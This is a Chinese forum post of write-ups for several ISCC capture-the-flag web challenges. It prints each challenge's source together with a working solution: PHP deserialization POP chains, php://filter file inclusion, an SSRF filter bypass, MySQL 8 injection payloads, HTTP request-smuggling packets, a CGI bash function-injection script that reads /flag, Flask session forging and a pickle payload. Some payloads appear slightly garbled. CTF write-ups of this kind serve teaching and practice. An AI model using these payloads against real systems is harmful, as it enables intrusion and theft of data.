zhaorong 发表于 2022-6-25 15:10:10

iscc部分web的wp(除0解)

iscc

web

冬奥会

<?php

show_source(__FILE__);

$Step1=False;
$Step2=False;

$info=(array)json_decode(@$_GET['Information']);

if(is_array($info)){

    var_dump($info);

    is_numeric(@$info["year"])?die("Sorry~"):NULL;
    if(@$info["year"]){
      ($info["year"]=2022)?$Step1=True:NULL;
    }
    if(is_array(@$info["items"])){
      if(!is_array($info["items"])OR count($info["items"])!==3 ) die("Sorry~");
      $status = array_search("skiing", $info["items"]);
      $status===false?die("Sorry~"):NULL;
      foreach($info["items"] as $key=>$val){
            $val==="skiing"?die("Sorry~"):NULL;
      }
      $Step2=True;
    }
}

if($Step1 && $Step2){
    include "2022flag.php";echo $flag;
}
?> array(0) { }

分析代码直接构造payload绕过两个if

payload(get):?Information={"year":"min","items":,"a"]}


爱国敬业好青年-2

拿到题目第一步,先看看页面的源代码

change开启传参

post:lati=116%C2%B023%E2%80%B2E&langti=39%C2%B054%E2%80%B2N


Pop2022

题目直接给出源码

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
      $this->page = $file;
    }
    public function __toString(){
      return $this->string->page;
    }

    public function __wakeup(){
      if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
      }
    }
}

class Try_Work_Hard{
    protected$var;
    public function append($value){
      include($value);
    }
    public function __invoke(){
      $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
      $this->effort = array();
    }

    public function __get($key){
      $function = $this->effort;
      return $function();
    }
}
/**********************Try to See flag.php*****************************/

一个很明显的php反序列化配合文件包含漏洞的利用

直接构造poc

<?php

class Try_Work_Hard
{
    protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Road_is_Long
{
    public $page;
    public $string;

    public function __construct($file)
    {
      $this->page = $file;
    }


}

class Make_a_Change
{
    public $effort;
}

$a = new Road_is_Long('aaa');
$a->string = new Make_a_Change();
$a->string->effort = new Try_Work_Hard();
$b = new Road_is_Long($a);
echo urlencode(serialize($b));

payload:?wish=O%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BO%3A12%3A"Road_is_Lo
ng"%3A2%3A%7Bs%3A4%3A"page"%3Bs%3A3%3A"aaa"%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_
Change"%3A1%3A%7Bs%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A%7Bs%3A6%3A"%00
%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dfla
g.php"%3B%7D%7D%7Ds%3A6%3A"string"%3BN%3B%7D

直接进行传参得到一串base64



解码拿到flag


这是一道代码审计题



提示给的这么明显了,我们直接传参试一下

http://59.110.159.206:8040/index?url=127.0.0.1


访问并查看源码,发现有一个链接


感觉应该是一段编码,在网上查找了一下,果然存在这种编码,直接全部放上没有解码成功可能
是有长度限制那我们一段一段进行解码


将分段解码的内容拼接到一起,得到以下一段代码

def geneSign():
    if(control_key==1):
      return render_template("index.html")
    else:
      return "You have not access to this page!"

def check_ssrf(url):
    hostname = urlparse(url).hostname
    try:
      if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
            if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
                raise BaseException("url format error")
      ifre.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
            if judge_ip(hostname):
                return True
            return False, "You not get the right clue!"
      else:
            ip_address = socket.getaddrinfo(hostname,'http')
            if is_inner_ipaddress(ip_address):
                return False,"inner ip address attack"
            else:
                return False, "You not get the right clue!"
    except BaseException as e:
      return False, str(e)
    except:
      return False, "unknow error"

def ip2long(ip_addr):
    return struct.unpack("!L", socket.inet_aton(ip_addr))

def is_inner_ipaddress(ip):
    ip = ip2long(ip)
    print(ip)
    return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2lo
ng('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16
or ip2long('0.0.0.0') >> 24 == ip >> 24

def waf1(ip):
    forbidden_list = [ '.', '0', '1', '2', '7']
    for word in forbidden_list:
      if ip and word:
            if word in ip.lower():
                return True
    return False

def judge_ip(ip):
    if(waf1(ip)):
      return Fasle
    else:
      addr = addr.encode(encoding = "utf-8")
      ipp = base64.encodestring(addr)
      ipp = ipp.strip().lower().decode()
      if(ip==ipp):
            global control_key
            control_key = 1
            return True
      else:
            return False

分析这段代码,发现是一个简单的ssrf

payload:http://59.110.159.206:8040/index?url=https://@MTI3LjAuMC4x


给了一个文件名,我们直接访问现实没有权限,但是还给了我们一个a_cookie,很明显就是伪造cookie了



访问到这个页面之后发现返回的内容里有一段js代码,通过分析,发现是一个明显的xxe漏洞并且发现代码中的一个路径



Easy-SQL


?id 尝试给id传参试一下

到id=7的时候明显是一个假的flag,继续往后测试


到id=8的时候发现一个表名email


尝试使用联合查询注入,发现select被过滤掉了,使用大小写等绕过方式也没有效果


使用sqlmap跑库发现mysql的版本是mysql8,那么思路来了,mysql8有一个新特性是可以用table user替换select

payload:?id=-1 union table emails limit 7,1


发现一个压缩包

直接页面访问就可以下载下来


打开发现里面有源码

<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
   if ($conn->connect_errno) {
    die("Connection failed: " . $conn->connect_errno);
}

echo "Where is the database?"."<br>";

echo "try ?id";

function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
    if (preg_match($filter,$s))
      return False;
    return True;
}

if (isset($_GET['id']))
{
    $id = $_GET['id'];
    $sql = "select * from users where id=$id";
    $safe = preg_match('/select/is', $id);
    if($safe!==0)
      die("No select!");
    $result = mysqli_query($conn, $sql);
    if ($result)
    {
      $row = mysqli_fetch_array($result);
      echo "<h3>" . $row['username'] . "</h3><br>";
      echo "<h3>" . $row['passwd'] . "</h3>";
    }
    else
      die('<br>Error!');
}


if (isset($_POST['username']) && isset($_POST['passwd']))
{

    $username = strval($_POST['username']);
    $passwd = strval($_POST['passwd']);

    if ( !sqlWaf($passwd) )
      die('damn hacker');

    $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
      $row = $result->fetch_assoc();
      if ( $row['username'] === 'admin' && $row['passwd'] )
      {
            if ($row['passwd'] == $passwd)
            {
                die($flag);
            } else {
                die("username or passwd wrong, are you admin?");
            }
      } else {
            die("wrong user");
      }
    } else {
      die("user not exist or wrong passwd");
    }
}
mysqli_close($conn);
?>

审计代码构造payload

payload(post):username=1' union select 1,0x61646d696e,3#&passwd=3


findme


f12查看源代码发现有一个unser.php文件,访问看看


明显是一个php反序列化题目

仔细分析源码,发现里面有一个hint.php文件,尝试查看其中的内容

<?php
class a{
    public $un2="php://filter/read=convert.base64-encode/resource=";
}
var_dump(serialize(new a()));


那到一串base64编码的内容,解码看看


根据提示利用php原生类来尝试拿到flag的文件名

<?php

class a{
    public $un0="DirectoryIterator";
    public $un1="glob:///var/www/html/f*.txt";
    public $un2;
    public $un3="unserialize";
    public $un4="abcd";

}

$a=new a();
echo serialize($a);


直接访问flag所在文件


让我康康!


查找flag在/fl4g中

抓包,http走私请求构造攻击包

GET / HTTP/1.1
Host: 59.110.159.206:7020
Content-Length: 137
Sec-Websocket-Key1: x

xxxxxxxxPOST / HTTP/1.1
Host: 59.110.159.206:7020
Content-Length: 75
Content-Type: application/x-www-form-urlencoded

search=flag

GET / HTTP/1.1
Host: 59.110.159.206:7020


GET / HTTP/1.1
Host: 59.110.159.206:7020
Content-Length: 101
Sec-Websocket-Key1: x

xxxxxxxxGET /fl4g HTTP/1.1
Host: 59.110.159.206:7020
secr3t_ip: 127.0.0.1
Content-Length: 45


GET / HTTP/1.1
Host: 59.110.159.206:7020
Content-Type: application/x-www-form-urlencoded


ping2rce


cgi-bin? p牛的文章曾详细分析的环境变量注入




分析明白这个漏洞就简单了

import requests

proxy = {'http': 'http://localhost:8080'}
url = 'http://59.110.159.206:8010/cgi-bin/ping?ip=127.0.0.1'
filename = 'BASH_FUNC_ping%%'
data = {filename: (None, '() { cat /flag; }')}
res = requests.post(url=url, files=data, proxies=proxy)

print(res.text)


直接拿到flag

Melody


测试发现,admin用户不能正常登录,其他用户可以正常登录



普通用户登录成功的页面抓包,发现一个session


session=eyJ1c2VybmFtZSI6ImFzZCJ9.Yor7Iw.ZEd9-4tiemAlHDfUUYmhMn7sWss

明显这道题让我们伪造session

查看登录界面源码有一个info,打开看一下


访问info


限制访问的浏览器,很明显是让我们伪造UA头


一个Melody传参?尝试之后发现可以进行进行flask模板注入


找到session-key

session-key:meldoy-is-so-cute-wawawa!

拿到session-key我们就可以开始伪造session了

session=eyJ1c2VybmFtZSI6ImFkbWluIn0.YoZhug.0Pdn7_tbYkuM6INN8HlOqQoKGQI


这里的flag是个假的,但是还给了我们一个文件路径,访问看看


# -*- coding:utf-8 -*-
import pickle
import melody
import base64
from flask import Flask, Response,request

class register:
    def __init__(self,name,password):
      self.name = name
      self.password = password

    def __eq__(self, other):
      return type(other) is register and self.name == other.name and self.password == other.password


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
      if module == '__main__':
            return getattr(sys.modules['__main__'],name)
      raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def find(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/therealflag', methods=['GET','POST'])
def realflag():
    if request.method == 'POST':
      try:
            data = request.form.get('melody')
            if b'R' in base64.b64decode(data):
                return 'no reduce'
            else:
                result = find(base64.b64decode(data))
                if type(result) is not register:
                  return 'The type is not correct!'
   correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))
            if correct:
                if session['username'] == 'admin':
                  return Response(read('./flag.txt'))
                else:
                  return Response("You're not admin!")
      except Exception as e:
            return Response(str(e))

    test = register('admin', '123456')
    data = base64.b64encode(pickle.dumps(test)).decode()
    return Response(data)

有一个/therealflag像是flag路径直接访问,但是直接访问没有flag



通过分析代码发现我们可以用picke反序列化覆盖melody模板变量

import base64
data=b'''c__main__
melody
(S'name'
S"melody"
S"hug"
S"2"
db0(c__main__
register
S"melody"
S"hug"
o.
'''
print(base64.b64encode(data))


post传参拿到flag
页: [1]
查看完整版本: iscc部分web的wp(除0解)